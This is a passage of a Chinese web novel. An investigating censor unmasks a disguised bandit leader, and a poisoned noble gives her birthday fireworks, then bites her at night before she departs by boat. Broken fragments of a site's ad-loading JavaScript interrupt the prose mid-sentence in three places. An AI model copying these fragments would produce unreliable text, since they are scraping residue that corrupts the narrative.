“这位贵人,您今日亲自到此,可是有什么吩咐?”老鸨一进雅间就径直问道,长久以来摸爬滚打练出的直觉让他连头也不敢抬。 晏返看似漫不经心道:“没有什么特别的,只是今日我跟夫人喝酒喝得高兴,夫人提起了在这里喝到过的杏子酒。” “啊?”老鸨脸上满是疑惑之色,想了想才道,“小的并未购入那种酒,想来是柳笙自己的私藏吧。” “这好办,你将他叫来,向他要一坛便是。”晏返说得轻描淡写,却无端让人感到不容拒绝。 “可是……”老鸨迟疑片刻,认命般说道,“柳笙已经不在这里了。” “他去了何处?”林雪意连忙追问。 “小的也不清楚。”冬日天寒,老鸨却还是擦了擦滑落脸侧的汗,补充说,“就在今早,突然有人送来一大笔钱,说是有一位富商要替柳笙赎身。这天大的好事,谁遇上了会不心动啊?柳笙当即就跟那人走了。” 林雪意跟晏返对视一眼,转而问老鸨:“你没见过那位富商本人?” 老鸨的头摇得像个拨浪鼓:“真没有。” 林雪意不由垂眸思忖。 柳笙就跟冯玉一样突然就从南风馆消失了,而且柳笙消失得更加彻底。她不相信这是巧合。 她突然想到了一种可能,问:“柳笙跟荼蘼是否相熟?” “何止相熟啊,就是因为有柳笙的介绍,小的才让荼蘼进来做事的。否则啊,像荼蘼那样来历不明的人,南风馆又怎么会收……” 老鸨还在滔滔不绝地吐苦水,林雪意已是心头大震。 难怪与冯玉有关的证物全都不知所踪,它们极有可能是被柳笙处理掉的! 没想到她还是迟了一步。 林雪意强打起精神问老鸨可否去柳笙的房间看看,老鸨自然没有拒绝,径直带着两人去了先前柳笙的住处。 “这屋里几乎都还是原来的样子,柳笙带走的东西不多。”老鸨将林雪意和晏返带至屋中后,边说边退至屋外。 林雪意随手翻看着柳笙的妆台,目光在匣子里的一支粉白的绢花上凝住了。绢布做的花朵虽小,却栩栩如生,看着应该是一串素馨花,正是那日她来南风馆时,柳笙发间插的那一支。 “素馨……” 一个念头自心头浮起,答案已是呼之欲出。 林雪意喃喃着拿起那支绢花,凝神回溯起来。周身的场景立刻模糊起来,等到画面定格时,她看到了柳笙对镜梳妆的场景。 那景象再正常不过,与寻常女子梳妆打扮并无二致,可林雪意却在片刻之后汗毛倒竖—— 只见对镜自照的柳笙冲镜中轻轻一笑,伸至耳际的手缓缓一揭,一张死白的面皮便从他脸上扯下来! 出现在镜子里的,是另一张极尽妖冶的脸,眉眼鼻梁全是女子模样,只有乌黑发间那串素馨花没有变样。 ——他就是秦卓口中雌雄莫辨的素馨! 脑袋因为诡异画面的冲击而嗡嗡作响,林雪意竭力想要再看看,画面却逐渐黯淡下来,就在她终于看到妆台上那盒外壳雕镂山茶花的胭脂的时,视野陡然一暗。 林雪意只觉得脚下一空,一只手却从旁稳稳扶住了她。 风丝从窗户缝隙钻进来,流动的空气冲破了胸口的窒闷感,原本昏暗的视野被室内的灯光照亮。 林雪意一时有些恍惚,转头看向身侧,就见扶着她的晏返正投来目光:“你没事吧?” 被对方的话所提醒,林雪意想起自己此时正在柳笙房中,不禁有些泄气。 许是见她神色不妙,晏返轻声问:“柳笙有问题?” 林雪意一时不知道该如何解释,只点了点头,到屋外同老鸨交代了一阵后离开了南风馆。 不久前才跟晏返谈及的疑点此刻解开了,但她心头反而沉甸甸的。 原来柳笙就是匪首。 她在到泤水县的第一天就见到了他,却被他轻而易举地转移了视线。 林雪意一语不发地在喧闹的泤水河畔走着,忽然听得缀在她身后的晏返慢悠悠道:“林雪意,你簪子掉了。” 林雪意闻言停步转身低头看去,地上却空无一物,抬至发间的手指也摸到了完好戴着的花簪。 她这才发觉晏返是在诳她,正想抬头瞪他,视野中却伸过来一根通红透亮的冰糖葫芦。 这让林雪意有些猝不及防,她不解地循着那糖葫芦上移视线,就见晏返正眼含笑意地看着她。 林雪意轻轻叹了口气,微蹙眉头道:“晏世子,我不是三岁小孩了。” “可是有人遇上烦心事就愁眉苦脸的,跟三岁的小孩并无不同。”晏返说着指指街边一个不知因何事皱眉撅嘴的小孩,挑眉道,“我想,要哄她开心,大抵也是一样。” 林雪意摇头苦笑,嗤了他一句“强词夺理”。 晏返却道:“是你不讲道理。” “我不讲道理?”林雪意顿觉莫名其妙。 “人生不如意事本就十之八九,你对自己却过于苛刻。”晏返道。 “可是……” 晏返打断了她,道:“虽然匪首逃脱,但这也是因为,他被你逼得无法再藏身此处。是你让那些受害女子重见天日,也是你摸清了这背后的勾当,消除了一直潜伏于此的危险。更何况,你还严惩了作恶之人,替许多人讨回了公道。 “林雪意,你已经做得很好了。” 晏返一双盛了星屑般的眼睛瞬也不瞬地望着她,那只握着糖葫芦的手仍执拗地停在半空。 林雪意抿唇接了过来。 指端触到其上余温,心中莫名轻轻一颤。 她看着糖葫芦晶莹剔透的糖衣,心头的阴霾竟一点一点地淡去了。 河岸边突然传来烟花弹升空的尖啸之声,她下意识地抬头看去,就见乌黑夜幕中,闪烁的烟花弹蓦然炸开,星星点点晶亮的银色火花喷薄而出,继而如雪花般悠扬落下,缓缓照亮了墨色的夜空。 在这突来的静谧中,一个孩童脆生生的声音显得格外清晰:“娘亲,你看,好像下雪!那雪花亮闪闪的好漂亮呀!” 林雪意似有所觉,收回视线朝身后的晏返看去一眼,就见他噙着笑朝她使了个眼色,示意她看天上。 林雪意堪堪扭头,就听见周围传来一阵惊叹。 只见纷扬下落的银花中,几枚烟花弹冉冉升空,随着一阵劈啪作响,烟花弹隐没之处陡然绽开数枝红梅。 疏落有致的虬枝栩栩如生,其上的梅花骨朵渐次开放,小巧的花瓣徐徐舒展,颜色由浅变深,与下落的银色雪片交相辉映,整个夜空俨然是一幅红梅夜雪图。 街道上传出一片赞叹之声,林雪意望着这漫天的烟花一时有些失神。 “林雪意,生辰快乐。” 身侧似乎传来了晏返清醇的语声,林雪意错愕地转头看他,见他正望着夜幕中的明亮花火。那俊朗利落的下颌线微微扬着,忽明忽暗的光线落在他脸上,勾勒出他棱角分明的精致轮廓。 林雪意便也回转过头去看夜空中绚烂的烟火,直至烟火阑珊。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >“知道我为什么这么在意这个案子吗?” 身边的人顿了顿,问:“因为事关你父亲的死?” 林雪意望着渐渐淡出夜空的星雨,道:“一开始,我追查迷魂胭脂确实是为了替父亲报仇,可现在,我想尽快了结这件事,是因为它毁掉了太多人。” 她不清楚策划了这一切的人究竟有什么目的,但她却知道对方如此苦心筹谋,绝不会就此罢手。 她不知道眼下是否还有什么人在遭受伤害,但她深知若不加以阻止,一定会有更多人遭殃。 “我会往前走,”林雪意仰起头,清澈杏眼倒映出河畔幽幽水光和明亮灯火,“去查清这一切。” 晏返觉得自己生出了一种错觉,面前少女的灼灼瞳光正在自己心底缓缓绽开。他敛去眼底不易察觉的惊艳,道:“你定能做到。” 林雪意莞尔:“今日谢谢你。” “那在下倒是有个不情之请。”晏返轻一牵唇,转身前头带路,道,“劳烦大人随我去一个地方。” 林雪意不知道他葫芦里卖的什么药,却还是径直跟上。走不多时,前面的人停下脚步,她抬头一看,发现前方是一家布庄。 这间“明霞衣庄”被簇拥在鳞次栉比的店铺中间,张灯结彩的看起来十分气派。此时街上热闹,这衣店里也是客似云来,门庭若市。 正在店门口送客的伙计是个会察言观色的,一见到两人,道了声“请”就往里跑。 二人刚入店中,就有一个眼神和善的中年男子迎了出来,对晏返作揖请罪道:“世子,实在对不住,还让您亲自跑一趟。” “不碍事。”晏返温声道。 林雪意瞅着这两人打哑谜似的对话,心中疑窦丛生。 衣庄掌柜见到晏返身后的林雪意,也一脸恭敬地朝她拱手:“御史大人也来了,那正好了。” 掌柜话音刚落,方才跑进店里的伙计就捧着一个托盘过来了。掌柜接过托盘,连同整齐叠在上头的衣物一同递到林雪意面前。 “这是……”林雪意打量着托盘上的衣服,那看上去似乎是一件斗篷。 她朝晏返递出一个询问的眼神,听得他歉然道:“我不知道今日是你生辰,没有提前准备礼物,这个就权当是贺礼吧。” 林雪意颇有些意外,视线又落回到掌柜捧着的斗篷上。 朱色的兔毛缎上淡淡撒着金线织就的暗花,翻开缎子,里子是一层雪白细腻的白狐皮,衣物的边沿镶了一圈柔软的白狐毛,微风一拂,轻盈的绒毛就飘舞起来。 “大人可以披上试试。”掌柜显然对这件斗篷十分满意,笑眯眯地提议,“若是哪里不合适,我当下就能改。” 林雪意原想说不用,晏返动作却快,抬手一扬,软和的斗篷就已经落在了她的肩上。 洁白透亮的白狐毛轻轻飘动,斗篷的长度堪堪能盖住她的鞋面。 晏返打量片刻,笑道:“不错。这样你就不用再担心将我的衣服弄脏了。” 林雪意顿时想起晏返将狐裘借给她的事,不免有些脸热。那之后发生了太多事,她都还没来得及将狐裘还给他。 “这料子很衬大人。”掌柜啧啧称赞,又有些遗憾地说,“这件斗篷,世子在几日前就吩咐下来了。可这衣料产自扬州,都是靠商船运来的。近来天寒地冻,江上又有水贼出没,行船困难,因此敝店虽然连夜赶工,却还是耽搁了些时日。” 林雪意闻言眉心一跳,问道:“水贼?” “是啊。”提起此事,掌柜眉头轻皱,道,“据说最近江上的水贼猖狂得很哪。往常他们只潜伏在琅琊渡以南的偏僻水域,最近居然跑到北面去伏击船只了。现在别说私船了,就连官船都是深受其害。” “对啊……”脑海中突然灵光一闪,林雪意不觉出声。 她知道那些血被运向何处了! 42. 夜深人静 “有头绪了?”晏返一双星眸望着她,眼底浮现幽微笑意。 林雪意冲他点点头,当即跟他返回衙门。 深月和墨云已经同衙门众人先一步回到县衙,听了林雪意的吩咐,墨云当即向马知县要来了泤水河的水路舆图,几人围聚在花厅中看了起来。 深月虽然大抵明白了林雪意是要找出贼人的运输路线,但看着舆图上纵横交错的线条还是有些犯迷糊:“姑娘,这水路看起来并不比平路少,要怎么找呢?” “郑二说他们将血存放在装有冰块的箱子里,你可知是为了什么?”林雪意问。 深月正在琢磨,墨云就已答道:“为了保持血液新鲜。” 林雪意点了点头,道:“可见那些血必须是在新鲜的情况下才能有所用途,那就不会运得太远。” “以他们的条件,至多能保存四天。”晏返笃定道。 “秦卓说他们是运到琅琊渡中转。”林雪意说着伸出纤细手指在舆图其中一条路线上点了点,道,“从泤水县到琅琊渡,官船和私船皆可通行。官船对运载之物查验严格,他们想必不会冒这个险,所以会走私船。” 晏返接着道:“私船的规制比之官船要小许多,能停泊的港口不如官船多,行船也慢,到达琅琊渡大约需要两日。” “那也就是说,”深月抬指点着下巴,回想着自己听到的几个时间,道,“他们到琅琊渡后,距离血液变质的时间就只剩两日了。” “对。”林雪意望着舆图思量道,“他们若想及时使用那些血液,便不会将剩下的时间全用在转运上。假设他们在琅琊渡接手后,最多可以用一日的时间进行运输……” “那便只有这几处了。”晏返说着指了图上琅琊渡往北的几处渡口,它们距离琅琊渡的行程都在一日之内。 “不对。”林雪意却摇头。 “不对?”晏返看向林雪意的目光微带讶然。 “按照布庄掌柜的说法,往常琅琊渡以北有水贼潜伏,他们又是私船,万一被水贼盯上就功亏于溃了。”林雪意见晏返点头表示赞同,便接着说,“因此我认为,他们的人在琅琊渡接手后,并没有再走水路南下,而是运往徐州腹地。” 深月闻言眼睛一亮,问:“如果他们走的是陆路,是不是就更加走不远了?” 林雪意赞许地看她一眼,道:“没错。陆地不比江河,就算是通衢大道也不会一直畅通无阻,更何况他们运的东西要小心车身颠簸,远不如水路来得快。” 这样就可以进一步缩小他们藏身的范围,届时她抵达琅琊渡,就可以请当地官府协助搜查。 “事不宜迟,我们明天一早就出发。”林雪意说着看向有片刻没有作声的晏返,却发觉他的面色有些奇怪。 似乎察觉到她的视线,晏返立刻回神,眼尾轻轻一弯,道:“我只是有些乏了。既然明日要起早,大家就都早点休息吧。” 晏返说着转身,打着呵欠离开了花厅。 林雪意感到奇怪之余,又想起他白日里说的,昨夜去了翠筠楼听曲,目光不由幽幽一黯。 她收起水路舆图,请墨云帮忙送还给马知县后,也跟深月回了房。 深月手脚利落,那头刚准备好沐浴用的热水,伺候自家姑娘入浴,这头又开始打点行装。 许是觉得林雪意回房后过于沉默,深月一边整理一边找话头:“姑娘,你发现没有,今日街上格外热闹。” 屏风这边的林雪意闻言往氤氲的水汽之外看去一眼,想了想道:“确实如此。怎么,你知道原因?” 这话显然正中深月下怀,就听得深月脆生生的声音从屏风另一边传来,声音里还透着点神秘:“我在街上听人说,这是泤水县特有的风俗。” “哦?”林雪意尾音一扬,示意自己洗耳恭听。 见林雪意精神了些,深月很是高兴,立刻把自己晚上在外头听到的话现学现卖起来:“今日是大寒,乃是一年中最冷的时候。 “这大寒一过啊,很快就冬去春来了,届时河水解冻,万物复苏,生机无限。而且年关将至,所谓大寒迎年,泤水县的百姓也就约定俗成,选在这一日庆祝一番。” “此地竟还有这样的讲究。” 林雪意应了一句,视线不由落在挂在屏风上的那件朱红色斗篷上。 屋内光线不比外面的街道亮堂,这斗篷的色泽反而显得更加明媚起来。金线织成的暗花折射幽微烛光,柔和光晕半明半昧,一如她此时有些怪异的心情。 “咦?”屏风外突然传来深月有些突兀的声音,林雪意回过神,就听见深月问她,“姑娘,怎么这里还有一罐茶叶?茶倒是好茶,只是看着不像是我们的东西。” “茶叶……” 林雪意思忖片刻后想起来,深月说的茶叶应该是两日前驿使送来的那罐。 彼时晏返下落不明,深月又遇险,她无暇他顾,就将那驿使交给她的茶叶搁在屋里了。 当日若不是这罐茶叶提醒了她,她恐怕一时还想不通那山洞的关窍。说起来这还是晏返让驿使专程去侯府取的,不知他特意这么做有什么缘由。 莫非是有什么急用? 林雪意已经穿好了衣服,她想了想又披上了那件斗篷,取了茶叶罐子往晏返的住处走去。 此时已近子时,天寒夜冷,万籁俱寂,因此即便林雪意已经放轻了步子,夜色中的脚步声还是清晰可闻。 林雪意远远看见晏返屋中的灯还亮着,便加快了脚步,可她弗一走近,屋里的灯火却倏然熄了。 既然对方已经歇下,她就不便再打扰了。 林雪意垂眸转身,身后的门扇旋即发出了一声轻响,像是有人轻轻抵在了门上。 “晏返?”林雪意回身,试探着叫了一句。 “嗯,找我何事?”门后果然传出了晏返微沉的声音,但是听起来却和平时有些微的不同。似乎说话的人也是考虑到夜深人静,恐惊扰他人,因此刻意压低了声音。 林雪意道:“你让人回侯府取的茶叶在我这里,白天忘记还给你了。” “哦。”晏返隔着门的声音听上去仿佛是松了一口气,“本来就是要给你的,你收着便好。” “给我的?”林雪意眉头微蹙,淡淡的疑惑萦绕心头,“这好像是甘露茶,可是这里就甘露茶产地,为何还要去 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 京城取?又为何……” 又为何要给她? 门里头一时没了声,过了片刻才又传出声音来:“这是前不久圣上赏的冬茶,就是采自云雾山山顶的那一批。” 那还是晏返的声音,却不知何故带着微微的沙哑。 “那日你好像很喜欢……”对方好像知道她心中疑惑,顿了顿又道,“当时是我错怪了你……算是赔罪。” 林雪意这才反应过来,晏返是在为前几日在流云轩冲她发火的事情向她道歉。 她不觉莞尔,道:“没关系,我并未在意。” “你若是能在意就好了。”屋里传出晏返低低的语声,像是说话人的自言自语。 林雪意一时没有听清,正想追问,就听得他道:“夜里天冷,你快点回屋吧。” “好,你也早点休息。茶叶我收下了,改日请你喝茶。” 林雪意说着转身离开,可她才走出几步,身后的门扇发出轰然一声响。她猛地顿住脚步转过头去,看着身后一片死寂的屋子,心中升起一阵犹疑。 脑海中倏然闪过不久前晏返异样的面色,林雪意眉心一跳,三步并作两步往回跑去。她一把推开屋门,借着廊下的灯光看清屋中景象后心里一寒。 只见晏返正弓着身体撑在门边,微微发颤的修长手指紧紧攥着门框,骨节发白。 他的头抵在手背上,垂散的发丝挡住了他的侧脸,因此她看不到他的表情,只能隐约听见他竭力压抑在喉间的艰难喘息。 林雪意忙上前一步,向他伸出的手却有些不确定地停在半空,试探着问道:“晏返,你怎么了?” “我……没事……你……” 听着破碎的字句从他牙关间挤出,林雪意心下一紧,伸过手拨开他脸侧发丝想看个究竟,却冷不防被攥住了手腕。 林雪意只觉得肩头一紧,眼前一花,后背便已顿上冷硬的木料,她整个人就被抵在了门框上。 门外灯光在夜风中摇荡着落进屋里,门扇投落的影子堪堪在两人之间划出交界线,幽光洒落在晏返身上,而林雪意则被笼覆在黑暗中。 四下里冷寂无声,一股淡淡的梅花冷香在室内幽幽散开。 “你……你做什么?” 林雪意微颤着眼睫打量晏返,却不由自主地被他满含压迫感的视线攫住,动弹不得。 眼前的晏返过于陌生。 他额前碎发已经被汗水浸湿,额发的阴影底下,那一双深邃眼眸瞳色深沉,如同一团浓得化不开的墨。 他眼眶泛红,被灯光映亮的眼底有浓烈的情绪在翻涌,但那瞳仁却没有一点光,除了她映在其中的身影便没有其他。 这情形过于古怪,林雪意错觉般感到心如鹿撞,咬唇道:“放开我……” 面前的人似乎终于有了反应,按住她肩膀的手慢慢松开,仿佛这样一个寻常动作在他做来并不轻松。 可未及林雪意反应过来,骨节分明的手指就抚上了她冰凉的脸庞。微烫指尖轻柔落在她眼尾,而后缓缓滑至她唇畔。 “别动。” 他哑声吐落两个字,在她惊疑不定的目光中,俯身过来。 43. 他咬了她 林雪意不知道自己是怎么跑回住处的。 她推开屋门又匆匆关上,转身背靠门框喘着气,心口处跳动得厉害。 深月已经整理完回自己屋休息了,屋里只有一芯烛火在灯罩里静静燃烧,暖黄光线衬得四周格外静谧。 她闭上眼想要平复气息,方才发生的事却在她脑海中挥之不去,晏返屋中的那股寒梅香气似乎带着不属于她的温度幽幽地萦绕身侧。 僵立片刻后,林雪意长呼出一口气,走到了妆镜台前坐下。她轻抬起眼睫往微黄的铜镜中看去,镜子里映出的姣好面容竟有点陌生。 精致五官一如既往,但此时面庞却因为羞恼而染上绯红,与往日里脸色微白的样子大相径庭,耳尖更是红得像是要滴血。 大寒之夜,屋外的寒意在屋中也沉积起来,林雪意却只觉得浑身发烫。 她轻轻抽开斗篷系着的绳结,莹白手指翻开颈侧的柔软狐毛,底下便露出雪颈上同样已经染成粉色的肌肤,以及其上一道突兀的红痕。 望见镜中自己颈子上的印子,林雪意轻轻咬住唇瓣,垂下了眸光。 黑暗中落在颈侧的温热触感似乎在她心里扎了根,她越是想要忘记,那唇齿碰触肌肤留下的温润和刺痛越是在她心头撩拨。 晏返竟然咬了她! 事情究竟是怎么变成这样的? 林雪意努力想要理清思绪,但脑袋里却是一团乱麻。 她自小在父亲身边耳濡目染,相信万事皆有因,世人行事皆有动机,但是她眼下却看不清晏返的因果。 她也同样不明白,明明自己心有疑虑,为何在对上他那双眼睛后,竟忘了要出言询问。 一念至此,林雪意便生出微微的恼。 从小就有人告诉她不要轻信他人,她却还是对这个惯会游戏花丛的二世祖卸下了防备。 这些日子他待她颇为诚挚,甚至不顾安危帮助她,她竟是忘了,他原先在京城里花天酒地头号纨绔的名头。 或许根本就没有什么因果,他就是登徒浪子,处心积虑接近她,让她放下警惕,不过就是为了戏耍她罢了! · 天际翻出鱼肚白的时候,墨云如常推开晏返房间的门。 床上的人似乎睡得极浅。 木门发出的幽微声响让他的眼皮动了动,而后眼睑缓缓掀开,露出一双沉黑如墨的眼眸。 散在周身的乌黑发丝纠葛在一处,身下指痕斑斑的床褥已被汗水浸湿,他身上仅着的一件单衣更是已经湿透。 晏返望了帐顶一眼,抬起修长手指理了理垂散额前的发丝,撑起乏力的身体坐起来,冲进屋的墨云点了点头。 “是。”墨云敛去眼底忧色,往浴桶中倒热水。 昨夜已经是世子身中寒梅之毒的第四个夜晚。 就他在场的这两晚来看,即便世子内力深厚远超常人,熬得也并不轻松。更何况此毒并不会随着时间的推移而减淡,反而是有愈加深厚之势。 晏返褪去衣物入桶中沐浴,被笼罩在水汽中的眼瞳泛着淡淡潮意,似乎有些心不在焉。 一旁的墨云踌躇片刻,终是问道:“您为何不跟少夫人解释?” “解释什么?”晏返的声音听上去平静无波,眼神却是一分一分冷下来,“解释我轻薄她是因为身中剧毒?懦夫所为。” 墨云有些急了,道:“可您并非存心冒犯,只是想要吓走少夫人。” 晏返似乎不以为意,面上波澜不惊,却只有他自己知道心脏漏跳了一下。 他咬了她,是故意要吓走她不假,因为他不想让她知道自己中毒的事。 可是昨夜灯影之下,他望着那双在黑暗中错愕扑闪的晶亮眸子,心中却真的生出了许多难以启齿的念头。若不是她当时吃痛推开他,他几乎要丧失理智。 昨晚他熬得仍然很痛苦,却又好像没有那么痛苦。在他气血逆行,痛入骨髓之时,他的神智似乎有一半沉沦在她脖颈肌肤细腻的触感中,不受剧毒鞭笞之苦。 “您若是什么都不说,属下担心少夫人不会原谅您。”墨云老实道。 晏返自嘲般微微扬起唇角:“她确实不会原谅我了。” 这样她也不会再接近他了。 天光大亮之时,墨云这头也已打点完毕。 他去晏返屋中请示后,两人刚出屋子,就见深月衔着一串糖葫芦,雄赳赳气昂昂地过来了。 “世子,我家姑娘要赶早上这趟官船,已经先行一步,姑娘说请您自便。”深月说完狠狠咬了一口糖葫芦,面色不善。 “深月,你吃的这是……”墨云留意到深月手中的糖葫芦,悄悄瞥了身侧的晏返一眼。昨晚他虽然没有跟在世子身侧,但可是远远地看见了,世子给少夫人递了一串糖葫芦。 “哦,这是姑娘给我的啊。”深月翻了个大白眼,眼底浮起几丝嫌弃的神色,“我家姑娘不喜欢吃酸的。” 深月正说着,手上蓦然一松,糖葫芦就掉在了地上。她看看沾上尘土的糖葫芦,摇头叹息道:“哎呀,脏了。这点小东西,想来世子是不会与我计较的吧?” 深月说完便转身扬长而去。 墨云只觉得心头一梗,转头看晏返:“世子,她……” 晏返觑着深月浑身的气焰,知道林雪意已经恼上了他,只暗暗无奈笑了笑,道:“罢了,确实不值一提。” 他示意墨云去屋中拿行李,目光又落回到地上的那串通红的糖葫芦上。 他没想过要用它收买人心,他只是想哄她高兴罢了。 深月蹦蹦跳跳跑得快,过不多时就追上了前头的林雪意,恨声道:“姑娘,我们为什么还要知会那登徒子,丢下他们岂不更好?” “人前与晏返闹不和并不明智,我们一开始就是为了借势。”林雪意道,“等到了琅琊渡,再与他们分道便是。” 昨夜情景浮现脑海,林雪意不禁细眉微蹙。幸好眼下是寒冬,被咬的地方又靠近颈窝,今日她围了兔毛风领,恰好能把印子挡住,否则她真是不知道要怎么出门。 “那倒也是。”深月也知道明远侯府这几个字在外面的分量,想了想道,“那您这一路千万小心,他要是再敢欺负姑娘,我饶不了他!” 前方就是泤水县的云津渡,两人正想快步赶上,眼前所见却让她们停下了脚步。 只见通往渡口的道路两旁,众多百姓夹道而立,目光殷切,全都一股脑儿地往她们这边瞧。 “姑娘,这是怎么回事啊?”深月瞄了前方熙熙攘攘的人堆一眼,悄悄问林雪意,“难道此地在大寒翌日还有这样的风俗?”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 林雪意自然也不知道,跟深月大眼瞪小眼了片刻,就见一道眼熟的人影从人群中走出,笑容满面地向她们而来,那人正是马知县。 林雪意暗自松了一口气,迎上去问:“马大人,这是怎么回事?” “大人,”马知县笑着拱手道,“百姓们听说了您今日启程,都说要来送送您。这不,下官就一道过来维持秩序了。” 林雪意心想难怪她一早去找马知县辞行的时候,他不在衙门里,原来他这般有心,早就上这边来了。 她又望了神情热切的民众一眼,恳切道:“马大人,你们不必这样客气。我路过此地,惊扰百姓,倒十分过意不去。” “大人,怎得说惊扰?乡亲们确实都是自发而来。” 马知县正说着,那头的百姓就已纷纷走过来。 有人搭话道:“大人,您为民除害,我们都很感激您!” “是啊,大人,您攘除恶贼,还泗水县安宁,这十里八乡,都记得您的恩德!” 被如此毫不吝惜地夸赞,林雪意不由有些脸热,此时一个蹒跚老妇在几个妇人的搀扶下来到她面前。 林雪意认出来人正是秋意的母亲徐氏,连忙上前扶她,关切问:“徐大娘,您的身子如何了?您腿脚不便,怎么不在家休息?” “我已经好多了。我听说大人要走,想来送大人一程。”徐氏握住林雪意的手,说着说着便泪水盈眶,“意儿可怜,有您替她伸冤做主,惩治凶手,想来她在九泉之下可以瞑目了。” “大人,”在一旁搀扶徐氏的妇人一面拍抚着徐氏的背,一面道,“我的女儿被贼人掳走一年多,家中苦寻无果,本以为今生团聚无望,是您将她救出狼窝,大恩大德,无以为报!” 妇人说着就要跪下,林雪意当即扶住她,道:“这是我职责所在,大嫂断不可行此大礼。” 林雪意话没说完,就有更多人围聚过来,七嘴八舌地出言感激。 “大人,我家也是,感谢大人大恩!” “感谢大人恩德!” “大恩大德,没齿难忘!” …… 人群中不知是谁喊了一嗓子的“青天再临”,眨眼之间,众人皆开始高呼:“监察御史,青天再临!” “你们……”林雪意想要劝慰的话最终被高呼淹没,她只觉心中激荡,与身边的深月对望一眼,百感交集。 她为了追查父亲横死的真相到此,虽然经历许多波折,但能找到线索也是不幸中的万幸,却没想到会受到如此称许。 站在近处的马知县也跟着喊了几嗓子,接着道:“大人,您看,您的所作所为,百姓们都看在眼里,记在心里。” 林雪意赧然笑了笑,摇头道:“可惜我时间仓促,秦卓虽已惩处,但受害之人却未能一一安顿。” 那些从山洞中救出的女子,有些尚可归家,但有些却已家人离散,不知所踪,一时之间没有容身之处。她们身体受损,不知何时才能痊愈,在此之前要养活自己恐怕都有困难。 她虽然已经跟马知县商议过救济事宜,但还是有些放心不下。 “大人大可放心,此事已有人帮忙。”马知县说着往林雪意的身后看去一眼。 林雪意转身循着马知县的目光看去,不禁有些意外。 44. 启程 只见秦大老爷正由秦府的余管家扶着走过来。他身体看着还不太健朗,但是面色已经比昨日好了许多。 见秦大老爷过来,人群稍稍安静下来。 “秦老爷?”林雪意虽然感到意外,却还是上前打招呼。 “大人。”秦大老爷也向她拱手行礼,道,“我已遣人整理出几处房舍,可供那些无家可归的姑娘居住,受害姑娘们的救治花费我也会一并承担。将来她们若是需要做些活计,我也愿意出力帮助。” “如此甚好。”林雪意展颜道。 秦大老爷素有善名,又是此地大户,交集面广,他能参与救助,善后事宜就更为稳妥,再好不过。 秦大老爷接着道:“我已跟家中商量过,待我与世长辞,留一部分家产给我侄儿,其余的全数捐出,以作教化民众,改善民生之用。” 林雪意轻轻一顿,心中生出一丝敬佩,叹道:“秦老爷高义。” 秦大老爷摇了摇头,面露愧色:“我二弟作下的孽,当由我来偿还。亏得大人昨日在法场对我弟媳的劝慰,她眼下已经断了寻死的念头,我那侄儿也懂事许多,发誓以后多行善事。” 林雪意点头道:“还请诸位节哀,多加保重。” “也祝大人长风万里,一路坦途。”秦大老爷作揖道。 周围百姓见状也都俯首作揖,高声道:“祝大人长风万里,一路坦途!” 船只即将起航,船夫的催促之声从前方传来。林雪意抿了抿唇,权以目光与百姓作别。她在马知县的指引下步上甲板,也向众人长长作了一揖。 天空广阔,江水清澈,波澜起伏间,昨日璀璨烟火之下,自己说过的话又响起在耳畔。 前路必不会是坦途。 但她会往前走,去查清这一切。 为父亲,为她自己,也为天下苍生。 · 这是一条略显逼仄的小巷,被河畔边纵横交错的街道挤压在一个很不起眼的角落,外头热闹的人声被阻隔在近旁成片的楼宇之外。 一道头戴幂笠的身影快步在巷道里穿行,轻车熟路地闪进巷子里的一间小楼,在昏暗压抑的光线中踩上层叠向上的楼梯。 楼梯尽头处的屋中几无声响,来人抬起的手在半空滞了一霎,最终还是推开了门,收敛声息走进去。 屋中阴影处旋即响起一声嗤笑,倚靠榻上的男子轻抬眼皮,穿过黑金面具的阴鸷目光像是在看一只蝼蚁:“废物!” 本就沉郁的空气更加凝滞,来人立即跪下,从幂篱的黑纱后传出的依稀是男子嗓音:“柳笙办事不力,愿受公子责罚。” 半敞的雕花窗扇被江风推开,屋外的光线渐次落入室内,从垂于榻沿的织锦袍角蜿蜒而上,微微映亮男子线条锋利的下颌。 “罢了,你栽在她手里也算情有可原。” 对方的声音听不出喜怒,柳笙轻一迟疑,道:“林御史确实冰雪聪明。” 男子闻言微勾薄唇,起身勾起他的下巴,冰凉眼神中浮起一丝玩味:“柳笙,你喜欢她?” 被迫与那双漠然的眼睛对视,柳笙不由双眉微蹙,却仍是道:“林御史待人宽厚,一视同仁,进退有度,属下很敬佩她。” 对方似乎意兴阑珊,松了手往窗边走去。他话锋一转,声音里透出些冷硬:“如今到处是通缉你的告示,柳笙不能再出现于世上。” “是。” 幂篱被一双白净素手摘下,露出了一张美艳的女子面孔。女子朱唇轻启,唇边流淌出清婉甜美的嗓音:“那素馨再换一副样貌便是。” 男子没有回头,只是抬手将窗扇又推开了一些,似是随口问道:“李贵妃那边的杀手处置了吗?” “公子放心,那日他在徐氏家中刺杀林御史未果,属下就已将其处理干净。”素馨道。 窗边之人没再说话,任由江风涌入窗口,将他垂散的发丝吹拂得起起落落。 凝视江面良久后,他忽而出声:“杏子酒,她喜欢吗?” 素馨怔了一瞬,继而颔首道:“林御史说,她很喜欢。” 从这临江的小楼望出去,青天白日下,一艘二层的大船正缓缓离岸。 · 官船从云津渡行至琅琊渡需用上一日半的时间,等到船只离岸开远了些,林雪意便进了船舱里,并不理会在她们身后登船的晏返。 昨日后半夜她睡得不好,因此进了舱室厢房里看了片刻的书后,就在船只的轻微摇荡中合眼睡去了。 林雪意睡得并不安稳,梦里似乎一直有人在说话,她虽没有听清,但却直觉般知道那是只存在于梦中的声音。 到了午间,深月叫醒她用饭,她才发现自己已经出了一身冷汗,再起身竟感到浑身乏力。 “姑娘,您近日真是累得不轻。”深月一面服侍她更换衣裳,一面担忧道。 “或许只是不习惯坐船罢了。”林雪意让深月不用担心,却也知道她说得并没有错。 最近她频繁动用回溯之力,本就对身体有很大损耗,只因她查案心切,一直提着一口气,所以才看起来无恙。眼下泤水县的案子也算告一段落,她一时心神放松,身体也就立刻跟着松垮下来。 林雪意昏昏沉沉的,简单吃了几口便又歇下了。 这一觉她睡得极沉,一点梦影也没有,等到再睁眼,舱里已经点起了灯火,窗子外头是一片深浓夜色。 